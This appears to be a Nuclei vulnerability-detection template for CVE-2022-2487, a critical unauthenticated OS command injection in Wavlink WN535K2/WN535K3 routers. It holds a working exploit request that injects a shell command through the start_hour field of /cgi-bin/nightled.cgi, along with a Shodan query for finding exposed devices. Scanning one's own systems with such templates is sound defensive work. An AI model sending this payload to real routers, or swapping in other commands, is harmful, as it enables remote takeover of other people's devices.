63 lines
2.0 KiB
YAML
63 lines
2.0 KiB
YAML
id: CVE-2022-2487
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info:
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name: Wavlink WN535K2/WN535K3 - OS Command Injection
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author: For3stCo1d
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severity: critical
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description: |
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Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument start_hour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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remediation: |
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Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
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reference:
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- https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487
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- https://vuldb.com/?id.204538
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- https://nvd.nist.gov/vuln/detail/CVE-2022-2487
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-2487
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cwe-id: CWE-78
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epss-score: 0.97399
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epss-percentile: 0.99895
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cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: wavlink
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product: wl-wn535k2_firmware
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shodan-query: http.title:"Wi-Fi APP Login"
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tags: cve,cve2022,iot,wavlink,router,rce,oast
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variables:
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cmd: "id"
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http:
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- raw:
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- |
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@timeout: 10s
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POST /cgi-bin/nightled.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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page=night_led&start_hour=;{{cmd}};
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "uid="
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- "gid="
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- "nightStart"
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condition: and
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- type: word
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 490a0046304402205a73ae619e90bb45a01a31513369805fb8af8f26ce4aec4b2e794d1f71b1aff6022002dc3e7f8c22632f27ffb648cf1d8a1db18712fd597d96b547f929201be06213:922c64590222798bb761d5b6d8e72950
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